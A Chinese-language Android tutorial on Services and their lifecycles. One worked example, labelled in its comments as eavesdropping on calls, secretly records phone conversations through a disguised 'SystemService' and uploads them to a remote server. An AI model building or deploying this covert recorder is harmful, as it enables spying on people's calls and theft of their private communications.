編輯:關於Android編程
1、自定義一個類:繼承android.app.Service類並覆寫一些方法:
public class MyServiceextends Service {
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generatedmethod stub
return null;
}
/**
* 服務被創建的時候 調用的方法;在該方法中將短信上傳到服務器。
*/
@Override
public void onCreate(){
//注意:服務組件是在主線程中執行的。所以要開啟子線程。防止anr異常。
System.out.println("服務運行在 "+Thread.currentThread().getName());
new Thread(){
public void run() {
try {
System.out.println("准備上傳");
Thread.sleep(20000);
System.out.println("上傳數據到服務器");
} catch(InterruptedException e) {
e.printStackTrace();
}
};
}.start();
super.onCreate();
}
}
2、在清單文件中配置service組件:
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
//接收短信的廣播接收者
android:name=".MyService"
>
3、在廣播接收者類中激活服務組件:
public class SmsReceiverextends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent data) {
// TODO Auto-generatedmethod stub
System.out.println("短信到來了");
System.out.println("線程id"+Thread.currentThread().getId());
System.out.println("線程名字"+Thread.currentThread().getName());
//激活 服務組件
Intent intent = newIntent(context,MyService.class);
context.startService(intent);
}
}
注意:服務組件是在主線程中執行的。
1、創建一個activity 類 :界面上有一個按鈕,點擊按鈕就開始監聽電話.
public class DemoActivity extends Activity {
/** Called when the activityis first created. */
@Override
public void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
//點擊按鈕執行的方法:
public void startlisten(Viewview){
//開啟一個後台的服務, 竊聽用戶的電話信息
Intent intent = new Intent(this,SystemService.class);
startService(intent);
}
}
2、定義一個服務組件:
public class SystemServiceextends Service {
private MediaRecorder mRecorder;
private boolean isrecoding;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generatedmethod stub
return null;
}
//啟動服務的方法:
public void onCreate() {
super.onCreate();
isrecoding = false;
// 監聽系統的電話的狀態
//獲取電話管理器對象:
TelephonyManager manager=
(TelephonyManager) getSystemService(TELEPHONY_SERVICE);
// 監聽系統的電話的狀態的改變
// listen方法參數1:是PhoneStateListener對象。
// 參數2:電話的狀態 ,int類型常量。
manager.listen(
new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
//自定義的電話狀態監聽器類
private class MyListener extends PhoneStateListener {
File file ;
/**
* 當電話狀態發生改變的時候 調用的方法 state
* 方法參數1:是電話的狀態,狀態有: 空閒 零響 通話
參數2:incomingnumber 來電號碼
*/
public voidonCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空閒
System.out.println("電話空閒");
//音頻數據上傳到服務器
if(isrecoding){
mRecorder.stop();
mRecorder.release();
isrecoding = false;
// 上傳文件的到服務器
System.out.println("上傳文件到服務器");
new Thread(){
public void run() {
String path ="http://192.168.1.247:8080/web/UploadServlet";
PostMethod filePost = newPostMethod(path);
try {
Part[] parts = { newFilePart("file", file) };
filePost.setRequestEntity(newMultipartRequestEntity(parts,
filePost.getParams()));
// org.apache.commons.httpclient.HttpClientclient = new org.apache.commons.httpclient.HttpClient();
org.apache.commons.httpclient.HttpClient client = neworg.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status =client.executeMethod(filePost);
System.out.println("上傳成功");
}
catch (Exception e) {
}
finally {
filePost.releaseConnection();
}
};
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零響
System.out.println("來電號碼"+incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: //通話狀態
System.out.println("開始通話,開啟錄音機,竊聽電話");
try {
mRecorder = newMediaRecorder();
// 設置聲音的數據源
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 聲音的輸出格式 3gp
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
file = newFile(Environment.getExternalStorageDirectory(),
System.currentTimeMillis()+".3gp");
mRecorder.setOutputFile(file.getAbsolutePath());
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mRecorder.prepare();
mRecorder.start();
isrecoding = true;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
break;
}
super.onCallStateChanged(state, incomingNumber);
}
}
}
1、使用錄音源需要在清單文件中添加權限:
//創建錄音機實例:
MediaRecorder mRecorder = new MediaRecorder();
// 設置聲音的數據源,來自手機話筒
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 指定聲音的輸出格式 3gp
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//創建當前錄音額文件 (外部存儲設備目錄 ,文件名)
file = newFile(Environment.getExternalStorageDirectory()
,System.currentTimeMillis()+".3gp");
//指定輸出文件路徑
mRecorder.setOutputFile(file.getAbsolutePath());
//設置聲音的編碼格式
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mRecorder.prepare();//准備
mRecorder.start();//開始錄音
//停止錄音機
MRecorder.stop();
//釋放錄音機資源
mRecorder.release();
1、服務有兩種開啟方式:
通過startservice方式開啟。
綁定的方式開啟服務
2、通過startservice方式開啟 的生命周期:
①、服務只會被創建一次,只調用一次onCreate()方法
一旦服務被創建出來,以後再去開啟服務 就不會執行oncreate()方法,只會執行 onStart().
②、服務如果是通過startservice方式開啟的
服務和調用者沒有任何的關系,即便是調用者掛了,服務還是會在後台長期的運行.
可以用過stopservice的方法 把服務給停掉,調用onDestory()方法。
3、綁定的方式開啟服務 的生命周期:
①、使用綁定方式開啟服務,首先執行onCreate 方法 ,再執行 onBind方法,再次點擊開啟不會執行任何方法,結束服務 先執行onNnBind方法 再執行onDestory方法。
②、如果調用者掛了,服務也會跟著掛了。
1、使用綁定方式開啟服務:
使用bindService()開啟服務,需要實現ServiceConnection接口,該接口中有一個onServiceConnected()回調方法,方法的第二個參數是IBinder 對象,就是服務類中onBind()方法的返回值。當服務綁定成功的時候,會調用服務類中的onBind()方法,返回一個IBinder對象,通過IBind對象可以調用 間接服務中的其他方法:
2、、使用綁定方式開啟服務 和在關閉視圖時在activity的ondestory方法解除綁定服務:
//服務意圖
Intent serviceintent = newIntent(this,MyService.class);
//綁定方式啟動服務
//方法參數: (服務意圖,ServiceConnection子類對象,啟動模式)
bindService(serviceintent,conn, Context.BIND_AUTO_CREATE);
//ServiceConnection子類:
private class MyConnimplements ServiceConnection{
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// 當服務被成功綁定的時候 執行的方法
System.out.println("服務被成功綁定了,我獲取到了服務返回的ibinder對象");
//獲取myBind對象:
MyService.MyBinder mybinder =(MyBinder) service;
mybinder.callMethodA();//調用內部類的方法:
}
@Override
public voidonServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
}
//在activity類中的onDestory方法解除綁定:
//調用unbindService()解除綁定,參數:ServiceConnection的子類。
protected void onDestroy() {
super.onDestroy();
// 顯示的把綁定的服務給接觸綁定.
unbindService(conn);
}
//服務類:
public class MyServiceextends Service {
//綁定類:(內部類)
public class MyBinder extends Binder {
//內部類的方法中:調用服務類中的方法
public voidcallMethodA() {
MethodA();//調用服務類的方法:
}
}
@Override
public IBinder onBind(Intent intent) {
System.out.println("onbind");
return new MyBinder();//創建綁定對象。
}
public void MethodA(){
System.out.println("我是服務裡面的方法A");
}
@Override
public boolean onUnbind(Intent intent) {
System.out.println("onunbind");
returnsuper.onUnbind(intent);
}
@Override
public void onCreate() {
// TODO Auto-generatedmethod stub
System.out.println("oncreate");
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
// TODO Auto-generatedmethod stub
super.onStart(intent,startId);
System.out.println("onstart");
}
@Override
public void onDestroy() {
// TODO Auto-generatedmethod stub
System.out.println("ondestroy");
super.onDestroy();
}
}
②、生命周期:
這一章將重點討論怎麼在應用中加入ffmpeg組件。所有測試都將在 Android Studio工具中進行。測試例子源地址:https://github.com/roman
1WiFiDisplay簡介1.1WiFiDisplay概述WiFiDisplay(WFD)是WiFi聯盟在已有技術的基礎上,為了加速視/音頻的傳輸分享而提出來的一個新概
一、構建思路1、構建一個Request用來封裝 HTTP請求的類型、請求頭參數、請求體、優先級、返回類型、等一些必要的屬性。 這個Request定義為抽象的,使得用戶可以
本文實例講述了android編程之menu按鍵功能實現方法。分享給大家供大家參考。具體分析如下:android應用程序可以通過menu按鍵彈出菜單,現在通過menu按鍵彈